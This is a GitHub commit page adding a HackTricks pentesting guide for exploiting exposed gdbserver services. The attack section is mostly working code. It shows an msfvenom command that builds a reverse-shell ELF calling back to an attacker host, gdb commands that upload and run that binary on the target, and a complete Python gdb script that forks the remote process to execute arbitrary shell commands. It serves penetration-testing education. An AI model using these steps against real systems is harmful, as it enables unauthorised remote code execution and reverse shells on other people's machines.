forked from HackTricks-wiki/hacktricks
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
8ed8471
commit 642663f
Showing
2 changed files
with
181 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,180 @@ | ||
# Pentesting Remote GdbServer | ||
|
||
## **Basic Information** | ||
|
||
**gdbserver** is a computer program that makes it possible to remotely debug other programs. Running on the same system as the program to be debugged, it allows the **GNU Debugger to connect from another system**; that is, only the executable to be debugged needs to be resident on the target system ("target"), while the source code and a copy of the binary file to be debugged reside on the developer's local computer ("host"). The connection can be either TCP or a serial line. | ||
|
||
You can make a **gdbserver listen in any port** and at the moment** nmap is not capable of recognising the service**. | ||
|
||
## Exploitation | ||
|
||
### Upload and Execute | ||
|
||
You can easily create an **elf backdoor with msfvenom**, upload it and execute is: | ||
|
||
```bash | ||
# Trick shared by @B1n4rySh4d0w | ||
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf | ||
|
||
chmod +x binary.elf | ||
|
||
gdb binary.elf | ||
|
||
# Set remote debuger target | ||
target extended-remote 10.10.10.11:1337 | ||
|
||
# Upload elf file | ||
remote put binary.elf binary.elf | ||
|
||
# Set remote executable file | ||
set remote exec-file /home/user/binary.elf | ||
|
||
# Execute reverse shell executable | ||
run | ||
|
||
# You should get your reverse-shell | ||
``` | ||
|
||
### Execute arbitrary commands | ||
|
||
There is another way to **make the debugger execute arbitrary commands via a python custom script taken from **[**here**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target)**.** | ||
|
||
```bash | ||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server. | ||
target extended-remote 192.168.1.4:2345 | ||
|
||
# Load our custom gdb command `rcmd`. | ||
source ./remote-cmd.py | ||
|
||
# Change to a trusty binary and run it to load it | ||
set remote exec-file /bin/bash | ||
r | ||
|
||
# Run until a point where libc has been loaded on the remote process, e.g. start of main(). | ||
tb main | ||
r | ||
|
||
# Run the remote command, e.g. `ls`. | ||
rcmd ls | ||
``` | ||
|
||
First of all **create locally this script**: | ||
|
||
{% code title="remote-cmd.py" %} | ||
```python | ||
#!/usr/bin/env python3 | ||
|
||
import gdb | ||
import re | ||
import traceback | ||
import uuid | ||
|
||
|
||
class RemoteCmd(gdb.Command): | ||
def __init__(self): | ||
self.addresses = {} | ||
|
||
self.tmp_file = f'/tmp/{uuid.uuid4().hex}' | ||
gdb.write(f"Using tmp output file: {self.tmp_file}.\n") | ||
|
||
gdb.execute("set detach-on-fork off") | ||
gdb.execute("set follow-fork-mode parent") | ||
|
||
gdb.execute("set max-value-size unlimited") | ||
gdb.execute("set pagination off") | ||
gdb.execute("set print elements 0") | ||
gdb.execute("set print repeats 0") | ||
|
||
super(RemoteCmd, self).__init__("rcmd", gdb.COMMAND_USER) | ||
|
||
def preload(self): | ||
for symbol in [ | ||
"close", | ||
"execl", | ||
"fork", | ||
"free", | ||
"lseek", | ||
"malloc", | ||
"open", | ||
"read", | ||
]: | ||
self.load(symbol) | ||
|
||
def load(self, symbol): | ||
if symbol not in self.addresses: | ||
address_string = gdb.execute(f"info address {symbol}", to_string=True) | ||
match = re.match( | ||
f'Symbol "{symbol}" is at ([0-9a-fx]+) .*', address_string, re.IGNORECASE | ||
) | ||
if match and len(match.groups()) > 0: | ||
self.addresses[symbol] = match.groups()[0] | ||
else: | ||
raise RuntimeError(f'Could not retrieve address for symbol "{symbol}".') | ||
|
||
return self.addresses[symbol] | ||
|
||
def output(self): | ||
# From `fcntl-linux.h` | ||
O_RDONLY = 0 | ||
gdb.execute( | ||
f'set $fd = (int){self.load("open")}("{self.tmp_file}", {O_RDONLY})' | ||
) | ||
|
||
# From `stdio.h` | ||
SEEK_SET = 0 | ||
SEEK_END = 2 | ||
gdb.execute(f'set $len = (int){self.load("lseek")}($fd, 0, {SEEK_END})') | ||
gdb.execute(f'call (int){self.load("lseek")}($fd, 0, {SEEK_SET})') | ||
if int(gdb.convenience_variable("len")) <= 0: | ||
gdb.write("No output was captured.") | ||
return | ||
|
||
gdb.execute(f'set $mem = (void*){self.load("malloc")}($len)') | ||
gdb.execute(f'call (int){self.load("read")}($fd, $mem, $len)') | ||
gdb.execute('printf "%s\\n", (char*) $mem') | ||
|
||
gdb.execute(f'call (int){self.load("close")}($fd)') | ||
gdb.execute(f'call (int){self.load("free")}($mem)') | ||
|
||
def invoke(self, arg, from_tty): | ||
try: | ||
self.preload() | ||
|
||
is_auto_solib_add = gdb.parameter("auto-solib-add") | ||
gdb.execute("set auto-solib-add off") | ||
|
||
parent_inferior = gdb.selected_inferior() | ||
gdb.execute(f'set $child_pid = (int){self.load("fork")}()') | ||
child_pid = gdb.convenience_variable("child_pid") | ||
child_inferior = list( | ||
filter(lambda x: x.pid == child_pid, gdb.inferiors()) | ||
)[0] | ||
gdb.execute(f"inferior {child_inferior.num}") | ||
|
||
try: | ||
gdb.execute( | ||
f'call (int){self.load("execl")}("/bin/sh", "sh", "-c", "exec {arg} >{self.tmp_file} 2>&1", (char*)0)' | ||
) | ||
except gdb.error as e: | ||
if ( | ||
"The program being debugged exited while in a function called from GDB" | ||
in str(e) | ||
): | ||
pass | ||
else: | ||
raise e | ||
finally: | ||
gdb.execute(f"inferior {parent_inferior.num}") | ||
gdb.execute(f"remove-inferiors {child_inferior.num}") | ||
|
||
self.output() | ||
except Exception as e: | ||
gdb.write("".join(traceback.TracebackException.from_exception(e).format())) | ||
raise e | ||
finally: | ||
gdb.execute(f'set auto-solib-add {"on" if is_auto_solib_add else "off"}') | ||
|
||
|
||
RemoteCmd() | ||
``` | ||
{% endcode %} |